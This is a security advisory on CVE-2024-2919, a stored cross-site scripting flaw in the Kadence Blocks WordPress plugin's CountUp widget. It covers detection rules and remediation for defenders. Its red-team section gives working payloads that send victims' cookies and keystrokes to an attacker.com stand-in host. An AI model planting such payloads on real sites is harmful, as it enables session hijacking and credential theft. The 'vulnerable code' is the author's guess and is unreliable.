CVE-2024-2919

POC_DETAILS: No public proof-of-concept code has been identified at this time.

Executive Summary

CVE-2024-2919 is a Stored Cross-Site Scripting (XSS) vulnerability in the Gutenberg Blocks by Kadence Blocks – Page Builder Features plugin for WordPress. The flaw resides in the CountUp Widget, affecting all plugin versions up to and including 3.2.31. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts via insufficiently sanitized user-supplied attributes. When a victim (including site administrators) visits a page containing the malicious block, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is particularly dangerous in the WordPress ecosystem because contributor-level access is often granted to multiple users, and the injected script can persist across page loads, affecting all visitors. The CVSS score of 6.4 (Medium) reflects the need for authentication but also the potential for significant impact due to the stored nature of the attack.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The risk is limited to WordPress sites using the Kadence Blocks plugin. Users should verify their plugin version and apply the patch as soon as it becomes available.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker needs contributor-level access or higher.
• User Interaction (UI): None (N) – The victim does not need to perform any action beyond visiting the page.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure is possible.
• Integrity (I): Low (L) – Limited modification of data is possible.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for authentication reduces the attack surface, but the stored XSS nature allows for persistent compromise of any user visiting the affected page.

Deep Dive & Mechanics

The vulnerability exists in the CountUp Widget block provided by the Kadence Blocks plugin. The block allows users to specify attributes such as start, end, duration, and prefix/suffix to display animated numbers. The plugin fails to properly sanitize and escape these user-supplied attributes before rendering them in the HTML output.

When a contributor or higher-privileged user creates or edits a page containing the CountUp block, they can inject malicious JavaScript code into one of the attribute fields (e.g., prefix or suffix). The plugin stores this input in the WordPress database without adequate sanitization. When any user (including administrators) visits the page, the injected script is executed in the context of the victim's browser.

The attack flow:

1. Attacker logs in with contributor-level access.
2. Attacker creates a new page or edits an existing one.
3. Attacker adds a Kadence Blocks CountUp block.
4. Attacker sets a malicious payload in an attribute (e.g., prefix = <script>alert('XSS')</script>).
5. Attacker publishes the page.
6. Victim visits the page.
7. The malicious script executes in the victim's browser.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.2.31): The plugin likely outputs the attribute values directly without proper escaping. For example, in the block's render callback:

$prefix = $attributes['prefix'];
echo '<div class="kb-countup-prefix">' . $prefix . '</div>';

Patched Code (Expected): The patched version should use WordPress's built-in escaping functions:

$prefix = esc_html( $attributes['prefix'] );
echo '<div class="kb-countup-prefix">' . $prefix . '</div>';

Or, if the attribute is intended to contain HTML, use wp_kses_post() to allow only safe HTML tags.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A WordPress site with Kadence Blocks plugin version <= 3.2.31.
• A user account with contributor-level access or higher.

Steps:

1. Log in to the WordPress admin panel.
2. Navigate to Pages > Add New.
3. Add a Kadence Blocks CountUp block.
4. In the block settings, locate the prefix or suffix field.
5. Enter the following payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

6. Publish the page.
7. Wait for an administrator or other user to visit the page.
8. The victim's cookies will be sent to the attacker's server.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    new Image().src = 'https://attacker.com/keylog.php?key=' + e.key;
});
</script>

Blue Team (Defender)

Detection:

• Monitor for unusual attribute values in Kadence Blocks blocks, especially those containing <script> tags or event handlers.
• Use a Web Application Firewall (WAF) to block common XSS payloads.
• Review user activity logs for suspicious page edits by contributor-level users.

Hunting:

• Search the WordPress database for posts containing <script> tags in the post_content field:

  SELECT ID, post_title FROM wp_posts WHERE post_content LIKE '%<script>%';
  

• Look for Kadence Blocks specific patterns:

  SELECT ID, post_title FROM wp_posts WHERE post_content LIKE '%wp:kadence/countup%' AND post_content LIKE '%<script>%';
  

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• Host: Unusual JavaScript code in the post_content of WordPress pages, specifically within Kadence Blocks CountUp block attributes.
• File: Modified or new pages containing <script> tags in the prefix or suffix fields.
• Log: WordPress audit logs showing page edits by contributor-level users with suspicious attribute values.

Detection Engineering

YARA Rule

rule CVE_2024_2919_Kadence_Blocks_XSS {
    meta:
        description = "Detects stored XSS payloads in Kadence Blocks CountUp widget"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-2919"
    strings:
        $kadence_block = "wp:kadence/countup" nocase
        $xss_payload_1 = /<script[^>]*>.*<\/script>/is
        $xss_payload_2 = /on\w+\s*=\s*["']?[^"'\s>]+/is
    condition:
        $kadence_block and ($xss_payload_1 or $xss_payload_2)
}

Sigma Rule

title: Stored XSS via Kadence Blocks CountUp Widget
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in Kadence Blocks CountUp widget attributes
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-2919
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: "/wp-admin/post.php"
        http.body|contains: "wp:kadence/countup"
        http.body|contains|all:
            - "prefix"
            - "<script"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in block attributes (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-2919 - Stored XSS in Kadence Blocks CountUp Widget"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"wp:kadence/countup"; http_client_body; content:"prefix"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin: As soon as a patched version is released, update Kadence Blocks to the latest version.
2. Restrict user roles: Limit contributor-level access to trusted users only. Consider using a plugin to restrict block editing capabilities.
3. Web Application Firewall (WAF): Deploy a WAF rule to block common XSS payloads in POST requests to wp-admin/post.php.

Long-term Measures:

1. Input validation: Ensure all user-supplied attributes in custom blocks are properly sanitized using esc_html(), esc_attr(), or wp_kses_post().
2. Output escaping: Always escape output when rendering block attributes in the frontend.
3. Security audits: Regularly audit WordPress plugins for security vulnerabilities.
4. User training: Educate content contributors about the risks of XSS and safe coding practices.

Workaround (if patch is unavailable):

• Disable the CountUp block by removing its registration in a custom plugin or theme's functions.php:

  add_action('init', function() {
      unregister_block_type('kadence/countup');
  });
  

Valters IT
Securing Digital Frontiers